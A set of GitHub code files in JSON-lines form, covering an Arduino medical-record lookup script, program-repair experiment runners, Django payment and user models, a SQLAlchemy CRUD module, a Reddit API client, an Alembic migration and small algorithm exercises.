+{"seq_id":"42675441084","text":"import serial\nimport os\nimport webbrowser\nimport csv\nimport time\n\npath = 'C:\\\\Users\\\\tjagielski\\\\Downloads\\\\database.csv'\ntry:\n    os.remove(path)\n    time.sleep(3)\nexcept FileNotFoundError:\n    pass\nurl = 'https://storage.cloud.google.com/medical_records_whack2019/database.csv'\nchrome_path = 'C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s'\nwebbrowser.get(chrome_path).open(url)\n\nwhile True:\n    try:\n        open(path, mode='r')\n        break\n    except FileNotFoundError:\n        time.sleep(2)\n\nwith open(path, mode='r') as infile:\n    reader = csv.reader(infile)\n    with open('database_new.csv', mode='w') as outfile:\n        writer = csv.writer(outfile)\n        database = {rows[0]:rows[1] for rows in reader}\n\narduinoComPort = \"COM13\" # Set the com port\nbaudRate = 115200 # the baud rate to 250000\nserialPort = serial.Serial(arduinoComPort, baudRate, timeout=1) # Set the serial port for reading\n\n# Open a new file to store the data to\nwhile True:\n    datafile = open('data.txt','a+')\n\n    ID = ''\n\n    while len(ID) < 4:\n        # Read in the serial data\n        ID = serialPort.readline().decode()\n        if \"TIMEOUT!\" in str(ID):\n            ID = ''\n        ID = ID.replace(\" \",\"\")\n        ID = ID.strip(\"\\r\\n\")\n        # Write the line of data that was read over serial\n        datafile.write(ID)\n        # Print the line in terminal to ensure it is working\n        print(str(ID))\n        \n    datafile.close()\n\n\n    if str(ID) not in database:\n        database[ID] = input(\"Link to person's medical files: \")\n    link = database[str(ID)]\n    webbrowser.open(link)\n    time.sleep(3)\n\n","repo_name":"SanderMiller/Whack2019","sub_path":"newPythonSerial.py","file_name":"newPythonSerial.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"998442493","text":"import os\nimport shutil\n\nfrom config import fitness_types\nfrom config import problems\nfrom config import get_seeds\nfrom config import generations\nfrom config import population_size\nfrom config import edits\nfrom config import timeout\nfrom config import evosuite_included\nfrom config import gp_log\nfrom config import record_patch\nfrom config import get_timestamp\n\nfrom time import perf_counter\nfrom pathlib import Path\n\n# file that contains all fix cmds\nfix_cmds = 'gin_fix_cmds.txt'\n\n# base directory of results\nbase = 'PLACEHOLDER'\n\n\n# generate fix cmds and write into a file\ndef write_fix_cmds():\n    global fix_cmds\n    fix_cmds = '{base}/{filename}'.format(base=base, filename=fix_cmds)\n    f = open(fix_cmds, \"w\")\n    for fit_type in fitness_types:\n        for problem in problems:\n            for with_evosuite in evosuite_included:\n                for seed in get_seeds():\n                    f.write(constr_fix_cmd(fit_type, problem, seed[0], seed[1], with_evosuite) + '\\n')\n    f.close()\n\n\n# construct a fix cmd\ndef constr_fix_cmd(fitness_type, problem, mutation_seed, selection_seed, with_evosuite):\n    # set gp fix type\n    if fitness_type == 'original':\n        gp_class = 'gin.util.GPFix'\n    elif fitness_type == 'decision':\n        gp_class = 'gin.util.GPNovelFix'\n    elif fitness_type == 'arjae':\n        gp_class = 'gin.util.GPArjaEFix'\n    elif fitness_type == 'checkpoint':\n        gp_class = 'gin.util.GPCheckpointFix'\n    else:\n        raise ValueError(\"Illegal fitness type.\")\n\n    # method file name\n    if with_evosuite:\n        method_file = 'quixbugs/quixbugs_method_files/{problem}-evosuite.csv'.format(problem=problem)\n    else:\n        method_file = 'quixbugs/quixbugs_method_files/{problem}.csv'.format(problem=problem)\n\n    # result file name\n    result_file = '{dir}/{fitness}-{problem}-{mut}-{sel}-{evo}.csv'.format(\n        dir='output/{}/results'.format(get_timestamp()),\n        fitness=fitness_type,\n        problem=problem,\n        mut=mutation_seed,\n        sel=selection_seed,\n        evo=with_evosuite)\n\n    # construct cmd\n    cmd = 'java -Dtinylog.level={gp_log} -cp gin.jar {class_name} -d quixbugs -c quixbugs -gn {gen} -in {pop} -m {method} -o {result} -et {edits} -x {timeout} -ms {mut} -is {sel} -rec {rec} -j'.format(\n        gp_log=gp_log[0],\n        class_name=gp_class,\n        gen=generations,\n        pop=population_size,\n        method=method_file,\n        result=result_file,\n        edits=','.join(edits),\n        timeout=timeout,\n        mut=mutation_seed,\n        sel=selection_seed,\n        rec=record_patch\n    )\n\n    # append reference method file if checkpoint\n    if fitness_type == 'checkpoint':\n        cmd = '{} -M quixbugs/quixbugs_method_files/{}_correct.csv'.format(cmd, problem)\n\n    return cmd\n\n\n# read fix cmds from file\ndef read_fix_cmds():\n    f = open(fix_cmds, 'r')\n    lines = f.readlines()\n    cmds = []\n    for line in lines:\n        cmds.append(line)\n    return cmds\n\n\n# run fix cmds\ndef run_fix_cmds():\n    global base\n    base = 'output/{}'.format(get_timestamp())\n    # create and overwrite result directory\n    result_dir = '{}/results'.format(base)\n    if os.path.exists(result_dir):\n        shutil.rmtree(result_dir)\n    Path(result_dir).mkdir(parents=True)\n    # generate and log fix cmds\n    write_fix_cmds()\n    # read and run fix cmds\n    fix_cmds = read_fix_cmds()\n    # save run time\n    f = open('{}/time.txt'.format(base), 'w')\n    for cmd in fix_cmds:\n        t_start = perf_counter()\n        print(cmd)\n        os.system(cmd)\n        t_end = perf_counter()\n        duration = t_end - t_start\n        f.write(cmd + 'time elapsed: ' + str(duration) + '\\n')\n\n\n# main function\nif __name__ == '__main__':\n    run_fix_cmds()\n","repo_name":"SOLAR-group/apr2021artefact","sub_path":"experiment-scripts/fix.py","file_name":"fix.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"4961724473","text":"import json\nimport os\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nfrom django.http import JsonResponse\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.utils.functional import cached_property\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_POST\nfrom django.views.generic import CreateView, TemplateView\nfrom django.core import mail\nfrom django.utils.html import strip_tags\nfrom django.template import loader\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.http import request\n\nfrom orders.models import Order\n\nfrom .forms import PaymentForm, UpdatePaymentForm\nfrom .models import Payment\n\nfrom cart.cart import Cart\n\nclass PaymentCreateView(CreateView):\n    \"\"\" Criação de tela do pagamento \"\"\"\n    model = Payment\n    form_class = PaymentForm\n\n    @cached_property\n    def order(self):\n        order_id = self.request.session.get(\"order_id\")\n        order = get_object_or_404(Order, id=order_id)\n        return order\n\n    def get_form_kwargs(self):\n        form_kwargs = super().get_form_kwargs()\n        form_kwargs[\"order\"] = self.order\n        return form_kwargs\n\n    def form_valid(self, form):\n        form.save()\n        redirect_url = \"payments:failure\"\n        status = form.instance.mercado_pago_status\n\n        if status == \"approved\":\n            cart = Cart(self.request)\n            cart.clear()\n            redirect_url = \"payments:success\"\n\n            order_id = self.request.session.get(\"order_id\")\n            order = get_object_or_404(Order, id=order_id)\n\n            email = self.request.user.email\n            assunto = _(\"Pedido Recebido!\")\n            remetente = os.environ.get(\"EMAIL_HOST_USER\")\n            destinatario = str(email)\n            html = loader.render_to_string('emailPedido.html',\n                                {'id':order_id, 'order': order,\n                                'price': order.get_total_price, 'nome': order.name,\n                                'cep':order.postal_code, 'endereco':order.address,\n                                'cidade': order.city, 'estado': order.state,\n                                'bairro': order.district,'numero': order.number,\n                                'complemento': order.complement}) \n            plain_message = strip_tags(html)\n\n            # Envio do e-mail\n            mail.send_mail(assunto, plain_message, remetente, [destinatario], html_message=html)\n\n        if status == \"in_process\":\n            cart = Cart(self.request)\n            cart.clear()\n            redirect_url = \"payments:pending\"\n\n        if status and status != \"rejected\":\n            del self.request.session[\"order_id\"]\n        return redirect(redirect_url)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"order\"] = self.order\n        context[\"publishable_key\"] = settings.MERCADO_PAGO_PUBLIC_KEY\n        return context\n\n\nclass PaymentFailureView(TemplateView):\n    \"\"\" Tela de erro no pagamento \"\"\"\n    template_name = \"payments/failure.html\"\n\n\nclass PaymentPendingView(TemplateView):\n    \"\"\" Tela de pagamento pendente \"\"\"\n    template_name = \"payments/pending.html\"\n\nclass PaymentSuccessView(TemplateView):\n    \"\"\" Tela de pagamento realizado com sucesso \"\"\"\n    template_name = \"payments/success.html\"           \n\n@csrf_exempt\n@require_POST\ndef payment_webhook(request):\n    data = json.loads(request.body)\n    form = UpdatePaymentForm(data)\n    if form.is_valid():\n        form.save()\n\n    return JsonResponse({})","repo_name":"DimasOliveira01/ProjetoSalvePets","sub_path":"Projeto/SalvePets/payments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"32348165332","text":"class Solution:\n    def isPalindrome(self, s: str) -> bool:\n        ss=''\n        for i in s:\n            if ord(i.lower()) in range(97,123):\n                ss=ss+i.lower()\n            elif ord(i) in range(48,58):\n                ss=ss+i\n        #print(ss)        \n        if ss==ss[::-1]:\n            return True\n        else:\n            return False\n        ","repo_name":"mayank9200/My_codes","sub_path":"0125-valid-palindrome/0125-valid-palindrome.py","file_name":"0125-valid-palindrome.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34104802491","text":"import heapq\nimport itertools\nimport sys\n\nREMOVED = '<removed-task>'\n\ndef add_task(entry_finder, counter, heap, task, priority=0):\n  if task in entry_finder:\n    remove_task(task, entry_finder)\n  count = next(counter)\n  entry = [priority, count, task]\n  entry_finder[task] = entry\n  heapq.heappush(heap, entry)\n\ndef remove_task(task, entry_finder):\n  entry = entry_finder.pop(task)\n  entry[-1] = REMOVED\n\ndef pop_task(heap, entry_finder):\n  while heap:\n    priority, count, task = heapq.heappop(heap)\n    if task is not REMOVED:\n      del entry_finder[task]\n      return task\n  raise KeyError('pop from an empty priority queue')\n\ndef read_ints():\n  temp = input().split()\n  temp = [int(t) for t in temp]\n  return temp\n\ndef get_neighbours(task, N, M):\n  neighbours = []\n  if task - M > 0:\n    neighbours.append(task - M) # up\n  \n  if task + M < M*N:\n    neighbours.append(task + M)\n     # down\n  \n  if task // M == (task + 1) // M:\n    neighbours.append(task + 1)\n\n  if task // M == (task - 1) // M:\n    neighbours.append(task - 1)\n\n  return neighbours\n\ndef fastest_speed(raw_paths, N, M):\n  result = -1\n  \n  visited = [0] * (N * M)\n  speeds = [-1] * (N * M)\n  speeds[0] = raw_paths[0]\n\n  heap = []\n  entry_finder = {}\n  counter = itertools.count()\n  \n  add_task(entry_finder, counter, heap, 0, -sys.maxsize)\n\n  while heap:\n    try:\n      temp = pop_task(heap, entry_finder)\n      if visited[temp]:\n        continue\n      visited[temp] = 1\n    except:\n      break\n   \n    neighbours = get_neighbours(temp, N, M)\n    \n    for n in neighbours:\n      speed = max(speeds[n], min(speeds[temp], raw_paths[n]))\n      if speed > speeds[n]:\n        speeds[n] = speed\n        add_task(entry_finder, counter, heap, n, -speed)\n\n  return speeds[-1]\n\ntests = int(input())\n\nfor _ in range(tests):\n  N,M = read_ints() \n\n  graph = {}\n  raw_paths = []\n  for _ in range(N):\n    row = read_ints()\n    raw_paths.append(row)\n  \n  raw_paths = [item for sublist in raw_paths for item in sublist]\n\n  result = fastest_speed(raw_paths, N, M)\n  print(result)\n","repo_name":"wookiekim/CodingPractice","sub_path":"postech_algo/graph/carparade.py","file_name":"carparade.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42012412497","text":"from src.schema import MessageType\nfrom src import models, schema, bcrypt\nfrom typing import Any, Union\nfrom src.db import Session\nimport datetime\nimport os\nimport json\n\n\ndef create_default_accounts():\n\n    try:\n\n        create_role([\n            schema.CreateRole(role_name=\"admin\"),\n            schema.CreateRole(role_name=\"Sales\"),\n            schema.CreateRole(role_name=\"PreSales\"),\n            schema.CreateRole(role_name=\"P&L\"),\n            schema.CreateRole(role_name=\"InsidePreSales\")\n            ])\n\n        create_user([schema.CreateUser(\n            name = \"admin\",\n            email = os.environ.get(\"ADMIN_EMAIL\"),\n            role_id = 1,\n            password = os.environ.get(\"ADMIN_PASSWORD\")\n        )])\n    except Exception as error:\n        print(f\"error creating user {error}\")\n        pass\n\ndef get_user(column: str, value: Union[str, int]):\n    with Session() as db:\n        query = (\n            db.query(models.User)\n            .filter(models.User.__getattribute__(models.User, column) == value)\n            .first()\n        )\n        return query\n\n\ndef get_role(search: schema.Query) -> Union[schema.RoleQuery, list, None]:\n    with Session() as db:\n        if search.column and search.value:\n            query = (\n                db.query(models.Role.id, models.Role.role_name)\n                .filter(models.Role.__getattribute__(models.Role, search.column) == search.value)\n                .first()\n            )\n            if query:\n                role = schema.RoleQuery.parse_obj(query)\n                return role\n            return None\n        else:\n            data = []\n            query = (\n                db.query(models.Role)\n                .all()\n            )\n            if query:\n                for table in query:\n                    role = schema.RoleQuery.parse_obj(table.__dict__)\n                    data.append(role)\n                return data\n            return None\n\n\ndef get_form(column: str, value: Union[str, int]):\n    with Session() as db:\n        query = (\n            db.query(models.Form)\n            .filter(models.Form.__getattribute__(models.Form, column) == value)\n            .first()\n        )\n        if query:\n            form = schema.Form.parse_obj(query.__dict__)\n            return form\n        return query\n\n\ndef display_partial_form(search: schema.Query) -> Union[list[schema.PartialForm], list]:\n    with Session() as db:\n        result = []\n        if search.value and search.column:\n            query = (\n                db.query(\n                    models.Form.id,\n                    models.Form.quote_direct,\n                    models.Form.sales_force_id,\n                    models.Form.purchase_order,\n                    models.Form.date,\n                    models.Form.status,\n                    models.Form.sale_note,\n                    models.Form.client_manager_name,\n                    models.Form.pre_sales_name,\n                    models.Customer.customer_name\n                ).select_from(models.Form)\n                .filter(models.Form.__getattribute__(models.Form, search.column) == search.value)\n                .join(models.Customer)\n                .all()\n            )\n        else:\n            query = (\n                db.query(\n                    models.Form.id,\n                    models.Form.quote_direct,\n                    models.Form.sales_force_id,\n                    models.Form.purchase_order,\n                    models.Form.date,\n                    models.Form.status,\n                    models.Form.sale_note,\n                    models.Form.client_manager_name,\n                    models.Form.pre_sales_name,\n                    models.Customer.customer_name\n                ).select_from(models.Form).join(models.Customer).all()\n            )\n        if query:\n            for form in query:\n                result.append(schema.PartialForm.parse_obj(form))\n            return result\n        return query\n\n\ndef display_full_form(search: schema.Query):\n    with Session() as db:\n        optional_tables = [models.Cisco, models.Vendor, models.Software]\n        result = {}\n        if search.column and search.value:\n            query = (db.query(\n                models.Form, models.Customer)\n                .select_from(models.Form).filter(models.Form.__getattribute__(models.Form, search.column) == search.value)\n                .join(models.Customer)\n                .all()\n            )\n            if query:\n                for item in query:\n                    for table in item:\n                        result[table.__tablename__] = table\n\n        for table in optional_tables:\n            query = db.query(table).filter(\n                table.form_id == search.value).all()\n            if query:\n                result[table.__tablename__] = query\n\n        data = schema.FullForm.parse_obj(result)\n        return data\n\n\ndef get_customer(search: schema.Query) -> Union[list[schema.Customer], None]:\n    with Session() as db:\n        data = []\n        if search.column and search.value:\n            query = (\n                db.query(models.Customer)\n                .filter(models.Customer.__getattribute__(models.Customer, search.column) == search.value)\n                .first()\n            )\n            if query:\n                customer = schema.Customer.parse_obj(query.__dict__)\n                data.append(query)\n                return data\n            return None\n        else:\n            query = (\n                db.query(models.Customer)\n                .all()\n            )\n            if query:\n                for table in query:\n                    customer = schema.Customer.parse_obj(table.__dict__)\n                    data.append(customer)\n                return data\n            return None\n\n\ndef get_vendor(search: schema.Query):\n    with Session() as db:\n        if search.vendor_cisco:\n            query = (\n                db.query(models.Cisco)\n                .filter(\n                    models.Cisco.__getattribute__(models.Cisco, search.column)\n                    == search.value\n                )\n                .first()\n            )\n            if query:\n                vendor = schema.Cisco.parse_obj(query.__dict__)\n                return vendor\n        else:\n            query = (\n                db.query(models.Vendor)\n                .filter(\n                    models.Vendor.__getattribute__(models.Vendor, search.column)\n                    == search.value\n                )\n                .first()\n            )\n            if query:\n                vendor = schema.Vendor.parse_obj(query.__dict__)\n                return vendor\n        return query\n\n\ndef get_user_role(roleId: int):\n    with Session() as db:\n        query = (\n            db.query(models.User.id, models.User.name, models.Role.role_name)\n            .select_from(models.User)\n            .join(models.Role)\n            .filter(models.Role.id == roleId)\n            .all()\n        )\n        users = [schema.UserQuery.parse_obj(x) for x in query]\n        return users\n\ndef update_user_password(email: str, new_password: str):\n    with Session() as db:\n        hash_password = bcrypt.generate_password_hash(new_password).decode(\"utf-8\")\n        query = (\n            db.query(models.User)\n            .filter(models.User.email == email.lower())\n            .update({\"password\": hash_password}, synchronize_session=False)\n        )\n        db.commit()\n        return query\n\ndef update_form(data: schema.UpdateForm):\n    with Session() as db:\n        if data.form_type == schema.FormTypes.checklist:\n            query = (\n                db.query(models.Form)\n                .filter(models.Form.id == data.id)\n                .update({data.column: data.value}, synchronize_session=False)\n            )\n            db.commit()\n            return query\n        elif data.form_type == schema.FormTypes.cisco:\n            query = (\n                db.query(models.Cisco)\n                .filter(models.Cisco.id == data.id)\n                .update({data.column: data.value}, synchronize_session=False)\n            )\n            db.commit()\n            return query\n        elif data.form_type == schema.FormTypes.vendor:\n            query = (\n                db.query(models.Vendor)\n                .filter(models.Vendor.id == data.id)\n                .update({data.column: data.value}, synchronize_session=False)\n            )\n            db.commit()\n            return query\n        elif data.form_type == schema.FormTypes.software:\n            query = (\n                db.query(models.Software)\n                .filter(models.Software.id == data.id)\n                .update({data.column: data.value}, synchronize_session=False)\n            )\n            db.commit()\n            return query\n\n\ndef create_user(users: list[schema.CreateUser]):\n    with Session() as db:\n        message = schema.Message()\n        for user in users:\n            query = get_user(\"name\", user.name)\n            if query:\n                message.add(MessageType.alreadyExist, query)\n            elif get_role(schema.Query(column=\"id\", value=user.role_id)):\n                try:\n                    hash_password = bcrypt.generate_password_hash(\n                        user.password).decode(\"utf-8\")\n                    new_user = models.User(\n                        name=user.name,\n                        email=user.email.lower(),\n                        password=hash_password,\n                        role_id=user.role_id,\n                    )\n                    db.add(new_user)\n                    db.refresh(new_user)\n                    user = schema.UserBase(\n                        name=user.name, email=user.email.lower(), role_id=user.role_id\n                    )\n                    message.add(MessageType.userCreated, user)\n                except Exception as error:\n                    message.add(MessageType.generalError, error)\n            else:\n                message.add(MessageType.roleNotFound, user.role_id)\n        db.commit()\n        return message\n\n\ndef create_role(roles: list[schema.CreateRole]):\n    with Session() as db:\n        message = schema.Message()\n        for role in roles:\n            query = get_role(schema.Query(\n                column=\"role_name\", value=role.role_name))\n            if query:\n                message.add(MessageType.alreadyExist, query)\n            else:\n                try:\n                    new_role = models.Role(\n                        role_name=role.role_name,\n                    )\n                    db.add(new_role)\n                    db.refresh(new_role)\n                    message.add(MessageType.userCreated, role)\n                except Exception as error:\n                    message.add(MessageType.generalError, error)\n        db.commit()\n        return message\n\n\ndef create_form(form: schema.CreateForm):\n    with Session() as db:\n        message = schema.Message()\n        query = get_form(\"quote_direct\", form.quote_direct)\n        if query:\n            message.add(MessageType.alreadyExist, query)\n        else:\n            try:\n                new_form = models.Form(\n                    sales_force_id=form.sales_force_id,\n                    purchase_order=form.purchase_order,\n                    quote_direct=form.quote_direct,\n                    client_manager_name=form.client_manager_name,\n                    pre_sales_name=form.pre_sales_name,\n                    customer_id=form.customer_id,\n                    comments=form.comments,\n                    status=form.status,\n                    date=form.date,\n                    sale_note=form.sale_note,\n                    customer_address = form.customer_address,\n                    customer_contact_name = form.customer_contact_name,\n                    customer_contact_phone = form.customer_contact_phone,\n                    customer_contact_email = form.customer_contact_email,\n                    dispatch_address=form.dispatch_address,\n                    dispatch_receiver_name=form.dispatch_receiver_name,\n                    dispatch_receiver_phone=form.dispatch_receiver_phone,\n                    dispatch_receiver_email=form.dispatch_receiver_email,\n                )\n                db.add(new_form)\n                db.commit()\n                db.refresh(new_form)\n                message.add(MessageType.formCreated, new_form)\n            except Exception as error:\n                message.add(MessageType.generalError, error)\n        return message\n\n\ndef create_customers(customer: schema.CreateCustomer):\n    with Session() as db:\n        message = schema.Message()\n        query = get_customer(schema.Query(column=\"customer_rut\", value=customer.customer_rut))\n        if query:\n            return None\n        else:\n            try:\n                new_customer = models.Customer(\n                    customer_name=customer.customer_name,\n                    customer_rut=customer.customer_rut\n                )\n                db.add(new_customer)\n                db.commit()\n                db.refresh(new_customer)\n                message.add(MessageType.customerCreated, new_customer)\n            except Exception:\n                return None\n        return message\n\n\ndef create_vendor(vendor: Union[schema.CreateVendor, schema.CreateCisco]):\n    with Session() as db:\n        message = schema.Message()\n        if isinstance(vendor, schema.CreateVendor):\n            try:\n                new_vendor = models.Vendor(\n                    vendor_deal_id=vendor.vendor_deal_id,\n                    vendor_name=vendor.vendor_name,\n                    vendor_account_manager_name=vendor.vendor_account_manager_name,\n                    vendor_account_manager_phone=vendor.vendor_account_manager_phone,\n                    vendor_account_manager_email=vendor.vendor_account_manager_email,\n                    form_id=vendor.form_id,\n                )\n                db.add(new_vendor)\n                db.commit()\n                db.refresh(new_vendor)\n                message.add(MessageType.vendorCreated, new_vendor)\n            except Exception as error:\n                message.add(MessageType.generalError, error)\n        else:\n            try:\n                new_vendor = models.Cisco(\n                    cisco_deal_id=vendor.cisco_deal_id,\n                    cisco_account_manager_name=vendor.cisco_account_manager_name,\n                    cisco_account_manager_phone=vendor.cisco_account_manager_phone,\n                    cisco_account_manager_email=vendor.cisco_account_manager_email,\n                    cisco_smart_account=vendor.cisco_smart_account,\n                    cisco_virtual_account=vendor.cisco_virtual_account,\n                    form_id=vendor.form_id,\n                )\n                db.add(new_vendor)\n                db.commit()\n                db.refresh(new_vendor)\n                message.add(MessageType.vendorCreated, new_vendor)\n            except Exception as error:\n                message.add(MessageType.generalError, error)\n        return message\n\n\ndef create_software(software: schema.CreateSoftware):\n    with Session() as db:\n        message = schema.Message()\n        try:\n            new_software = models.Software(\n                software_type=software.software_type,\n                duration_time=software.duration_time,\n                customer_contact=software.customer_contact,\n                subscription_id=software.subscription_id,\n                start_date=software.start_date,\n                type_of_purchase=software.type_of_purchase,\n                form_id=software.form_id,\n            )\n            db.add(new_software)\n            db.commit()\n            db.refresh(new_software)\n            message.add(MessageType.softwareCreated, new_software)\n        except Exception as error:\n            message.add(MessageType.generalError, error)\n        return message\n\n\ndef delete_form(id: schema.Id):\n    with Session() as db:\n        optional_tables = [models.Cisco, models.Vendor, models.Software]\n        message = schema.Message()\n\n        for table in optional_tables:\n            queryList = (\n                db.query(table)\n                .filter(table.form_id == id.id)\n                .all()\n            )\n            for query in queryList:\n                db.delete(query)\n\n        form = (\n            db.query(models.Form)\n            .filter(models.Form.id == id.id)\n            .first()\n        )\n        if form:\n            db.delete(form)\n            message.add(MessageType.deletedObject, form)\n\n        db.commit()\n\n        return message\n\ndef apply_form_changes(form_data: schema.FullForm, input_data: dict[str, str], user_name:str, user_role:str) -> Any:\n    for label, form_value in dict(form_data.form).items():\n        input_value = input_data.get(label)\n        if input_value and label.lower().startswith(\"comment\"):\n            form_value_list = json.loads(form_value)\n            new_comment = {\"name\": user_name, \n                           \"role\": user_role, \n                           \"date\": str(datetime.date.today()), \n                           \"comment\": input_value}\n            form_value_list.append(new_comment)\n            new_data = schema.UpdateForm(form_type=schema.FormTypes.checklist, column=label, value=json.dumps(form_value_list), id=form_data.form.id)\n            update_form(new_data)\n        elif input_value:\n            if str(form_value).lower() != str(input_value).lower():\n                new_data = schema.UpdateForm(form_type=schema.FormTypes.checklist, column=label, value=input_value, id=form_data.form.id)\n                update_form(new_data)\n\n    forms = [(schema.FormTypes.cisco, form_data.cisco), \n    (schema.FormTypes.vendor, form_data.vendor),\n    (schema.FormTypes.software, form_data.software)]\n    for form_type, form in forms:\n        if form:\n            i = 0\n            while i < len(form):\n                for label, form_value in dict(form[i]).items():\n                    input_value = input_data.get(label+str(i))\n                    if input_value:\n                        if str(form_value).lower() != str(input_value).lower():\n                            new_data = schema.UpdateForm(form_type=form_type, column=label, value=input_value, id=form[i].id)\n                            update_form(new_data)\n                i += 1\n","repo_name":"gsolorza/nv","sub_path":"src/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":18293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1120886075","text":"#!/usr/bin/python3\n\"\"\"uses reddit API to check for hottest post of a subreddit\"\"\"\nimport requests\n\n\ndef top_ten(subreddit):\n    \"\"\"function that queries the reddit API\"\"\"\n    url = 'http://reddit.com/r/{}/hot/.json?limit=10'.format(subreddit)\n    headers = {'User-agent': 'fullstack_posthunter'}\n    page = requests.get(url, headers=headers).json()\n    try:\n        children = page.get('data', None).get('children')\n        if children:\n            for child in children:\n                print(child.get('data', None).get('title', None))\n    except Exception:\n        print(None)\n","repo_name":"Orchem/alx-system_engineering-devops","sub_path":"0x16-api_advanced/1-top_ten.py","file_name":"1-top_ten.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8339616584","text":"try:\n    f = open('text.txt','r')\n    lines = f.read()\n    for i in lines:\n        word = lines.split()\n    words = []\n    for j in word:\n        words.append(len(j))\n    e = min(words)\n    for k in word:\n        if len(k) == e:\n            print (k)\n    f.close()\nexcept:\n    print(\"can't open file\")\n    f.close()\n","repo_name":"PetroTelishevskyi/python","sub_path":"lab_2/2.1.py","file_name":"2.1.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22178577126","text":"\"\"\"Add MIVS Judge status and game submission tracker\n\nRevision ID: 6c5cf22429e2\nRevises: e372e4daf771\nCreate Date: 2018-09-21 22:25:24.475167\n\n\"\"\"\n\n\n# revision identifiers, used by Alembic.\nrevision = '6c5cf22429e2'\ndown_revision = 'e372e4daf771'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n\ntry:\n    is_sqlite = op.get_context().dialect.name == 'sqlite'\nexcept:\n    is_sqlite = False\n\nif is_sqlite:\n    op.get_context().connection.execute('PRAGMA foreign_keys=ON;')\n    utcnow_server_default = \"(datetime('now', 'utc'))\"\nelse:\n    utcnow_server_default = \"timezone('utc', current_timestamp)\"\n\ndef sqlite_column_reflect_listener(inspector, table, column_info):\n    \"\"\"Adds parenthesis around SQLite datetime defaults for utcnow.\"\"\"\n    if column_info['default'] == \"datetime('now', 'utc')\":\n        column_info['default'] = utcnow_server_default\n\nsqlite_reflect_kwargs = {\n    'listeners': [('column_reflect', sqlite_column_reflect_listener)]\n}\n\n# ===========================================================================\n# HOWTO: Handle alter statements in SQLite\n#\n# def upgrade():\n#     if is_sqlite:\n#         with op.batch_alter_table('table_name', reflect_kwargs=sqlite_reflect_kwargs) as batch_op:\n#             batch_op.alter_column('column_name', type_=sa.Unicode(), server_default='', nullable=False)\n#     else:\n#         op.alter_column('table_name', 'column_name', type_=sa.Unicode(), server_default='', nullable=False)\n#\n# ===========================================================================\n\n\ndef upgrade():\n    op.add_column('indie_judge', sa.Column('no_game_submission', sa.Boolean(), nullable=True))\n    op.add_column('indie_judge', sa.Column('status', sa.Integer(), server_default='150891957', nullable=False))\n\n\ndef downgrade():\n    op.drop_column('indie_judge', 'status')\n    op.drop_column('indie_judge', 'no_game_submission')\n","repo_name":"magfest/ubersystem","sub_path":"alembic/versions/6c5cf22429e2_add_mivs_judge_status_and_game_.py","file_name":"6c5cf22429e2_add_mivs_judge_status_and_game_.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"3"}
+{"seq_id":"23114258732","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nclass UserProfile(models.Model):\n    user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='extra_user_info')\n    user_picture = models.ImageField(blank=True, upload_to=\"users/profilepics\")\n    user_real_name = models.CharField(blank=True, max_length=255)\n\n    def user_profileImg(self):\n        return mark_safe('<img src=\"%s\" style=\"width: auto; height: 80px;\" />' % (self.article_poster.url))\n \n\n    user_profileImg.short_description = 'Image'\n    user_profileImg.allow_tags = True","repo_name":"ThomasBalaban/zombiemonkeys","sub_path":"backend/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25544372456","text":"# Remove Characters from first String present in the Second String\n\ndef findDiff(str1,str2):\n    d={}\n    for i in str1:\n        if i!=\" \":\n            if i in d:\n                d[i]+=1\n            else:\n                d[i]=1\n\n    for i in str2:\n        if i!=\" \":\n            if i in d:\n                d[i]+=1\n            else:\n                d[i]=1\n\n    for i in d:\n        if d[i]==1:\n            print(i,end=\"\")\n\nif __name__==\"__main__\":\n    str1=input(\"Enter first string:\")\n    str2=input(\"Enter second string:\")\n\n    findDiff(str1,str2)\n","repo_name":"Ashvinibodade/TCS_code_questions","sub_path":"Problem86.py","file_name":"Problem86.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
